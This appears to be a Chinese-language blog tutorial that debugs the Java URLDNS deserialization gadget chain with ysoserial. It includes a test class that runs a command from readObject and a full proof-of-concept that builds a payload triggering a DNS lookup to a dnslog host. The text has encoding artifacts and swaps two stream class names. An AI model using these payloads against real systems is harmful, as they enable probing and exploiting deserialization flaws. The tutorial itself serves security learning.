URLDNS鏈子是Java反序列化分析的第0課,網(wǎng)上也有很多優(yōu)質(zhì)的分析文章。
筆者作為Java安全初學者,也從0到1調(diào)試了一遍,現(xiàn)在給出調(diào)試筆記。
一. Java反序列化前置知識
Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實現(xiàn)Serializable接口,將對象轉(zhuǎn)化成字節(jié)序列。
Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現(xiàn)將字節(jié)序列轉(zhuǎn)化成對象。
測試源碼如下,此部分源碼參考了ol4three師傅的博客:
package?serialize;
import?java.io.*;
public?class?deserTest?implements?Serializable?{
????private?int?n;
????public?deserTest(int?n)?{
????????this.n=n;
????}
????@Override
????public?String?toString()?{
????????return?"deserTest2?[n="?+?n?+?",?getClass()="?+?getClass()?+?",?hashCode()="?+?hashCode()?+?",?toString()="
????????????????+?super.toString()?+?"]";
????}
????//?反序列化
????private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,ClassNotFoundException{
????????in.defaultReadObject();?????
????????Runtime.getRuntime().exec("calc");???
????????System.out.println("test");
????}
????public?static?void?main(String[]?args)?{
????????deserTest?x?=?new?deserTest(5);
????????operation1.ser(x);
????????operation1.deser();
????????x.toString();
????}
}
//?實現(xiàn)序列化和反序列化具體細節(jié)的類
class?operation1{
????//?將輸出字節(jié)流寫入文件中進行封存
????public?static?void?ser(Object?obj)?{
????????//?序列化操作,寫操作
????????try?{
?????????????//?首先文件落地object.obj存儲輸出流,綁定輸出流???????????
????????????ObjectOutputStream?ooStream?=?new?ObjectOutputStream(new?FileOutputStream("object.obj"));
????????????//?重定向?qū)⑤敵隽髯止?jié)寫入文件
????????????ooStream.writeObject(obj);
????????????
????????????ooStream.flush();
????????????ooStream.close();
????????}?catch?(FileNotFoundException?e)?{
????????????e.printStackTrace();
????????}catch?(IOException?e)?{
????????????//?TODO:?handle?exception
????????????e.printStackTrace();
????????}
????}
????
????
????public?static?void?deser()?{
????????//?反序列化,讀取操作
????????try?{
????????????//?綁定輸入流
????????????ObjectInputStream?iiStream?=?new?ObjectInputStream(new?FileInputStream("object.obj"));
????????????
????????????//?反序列化時需要從相關的文件容器中讀取輸出的字節(jié)流
????????????//?讀取字節(jié)流操作為readObject,所以重寫readObject可以執(zhí)行自定義代碼
????????????Object?xObject?=?iiStream.readObject();
????????????iiStream.close();
????????}?catch?(IOException?e)?{
????????????//?TODO:?handle?exception
????????????e.printStackTrace();
????????}?catch?(ClassNotFoundException?e)?{
????????????//?TODO?Auto-generated?catch?block
????????????e.printStackTrace();
????????}
????}
}
二. ysoserial環(huán)境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial進行分析,這里面已經(jīng)有現(xiàn)成的環(huán)境了
https://github.com/frohoff/ysoserial
注意配置好相應的JDK
和SDK
版本:
三. URLDNS攻擊鏈
-
??影響的版本問題:與JDK版本無關,其攻擊鏈實現(xiàn)依賴于Java內(nèi)置類,與第三方庫無關
-
??URLDNS這條反序列化鏈只能發(fā)起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢
調(diào)試分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函數(shù)中進行域名解析,從而可以被DNSLog平臺捕獲
URLDNS程序入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java
路徑下有URLDNS.java
文件
main
主函數(shù)的run函數(shù)
打斷點進入
這個ysoserial-master
的payload
運行結(jié)構(gòu)大致是有一個專門的PayloadRunner
運行程序,然后統(tǒng)一調(diào)用來運行各部分的payload
首先是進行序列化:
繼續(xù)往下,生成command
,由于是分析URLDNS
攻擊鏈,所以只需要修改將返回值為dnslog
的臨時地址
?
創(chuàng)建實例后,進入到URLDNS
的getObject
的payload
函數(shù)
getObject函數(shù)中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最后設置作用域
反序列化鏈子:
在反序列化入口處打斷點:
在反序列化時調(diào)用了readObject
函數(shù)
然后進入HashMap.java
的readObject
函數(shù)
在readObject
中調(diào)試到此行,了putval
,在此處IDEA
這個IDE
可以選擇進入的函數(shù),直接進入后者hash
由于我們讀入字節(jié)序列,需要將其恢復成相應的對象結(jié)構(gòu),那么就需要重新putval
傳入的key
不為空,執(zhí)行key.hashCode
進一步在URL.java
文件下
進入URLStreamHandler
的hashCode
產(chǎn)生解析:
總的來說,利用鏈思路如下:
在反序列化URLDNS對象時,也需要反序列化HashMap對象,從而調(diào)用了HashMap.readObject()的重寫函數(shù),重寫函數(shù)中調(diào)用了哈希表putval等的相關重構(gòu)函數(shù),在hashcode下調(diào)用了getHostAddress函數(shù)
那么反之,為什么首次聲明的時候沒有調(diào)用到了getHostAddress函數(shù),現(xiàn)在給出聲明時的函數(shù)路線:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
該函數(shù)為空實現(xiàn)
列出幾個路線上的關鍵函數(shù)看看:
由于此處key
為String
類型,則進入String.hashCode
相比之下,在反序列化中key
為URL
類型
設置了不發(fā)起dns解析
具體執(zhí)行流,可以看下時序圖,我就不講了^^
文章來源:http://www.zghlxwxcb.cn/news/detail-604616.html
四. URLDNS鏈的使用
import?java.io.*;
import?java.lang.reflect.Field;
import?java.net.InetAddress;
import?java.net.URL;
import?java.net.URLConnection;
import?java.net.URLStreamHandler;
import?java.util.HashMap;
public?class?Main{
????//?序列化前不發(fā)生dns解析
????static?class?SilentURLStreamHandler?extends?URLStreamHandler{
????????protected?URLConnection?openConnection(URL?n)?throws?IOException{
????????????return?null;
????????}
????????protected?synchronized?InetAddress?getHostAddress(URL?n)
????????{
????????????return?null;
????????}
????}
????public?static?void?main(String[]?args)?throws?Exception{
????????HashMap?hashMap?=?new?HashMap();
????????//?設置put時不發(fā)起dns解析
????????URLStreamHandler?handler?=?new?Main.SilentURLStreamHandler();
????????URL?url?=?new?URL(null,?"http://jloqk8.dnslog.cn",?handler);
????????//?利用Java反射機制在動態(tài)執(zhí)行時獲取類
????????Class?clazz?=?Class.forName("java.net.URL");
????????Field?f?=?clazz.getDeclaredField("hashCode");
????????f.setAccessible(true);
????????hashMap.put(url,?"123");
????????f.set(url,?-1);
????????//?對象輸出流綁定文件輸出流
????????ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream("out.bin"));
????????oos.writeObject(hashMap);?//?序列化
????????//?對象輸入流綁定文件輸入流
????????ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream("out.bin"));
????????ois.readObject();???//?反序列化
????}
}
文章來源地址http://www.zghlxwxcb.cn/news/detail-604616.html
到了這里,關于Java反序列化(0):URLDNS的反序列化調(diào)試分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!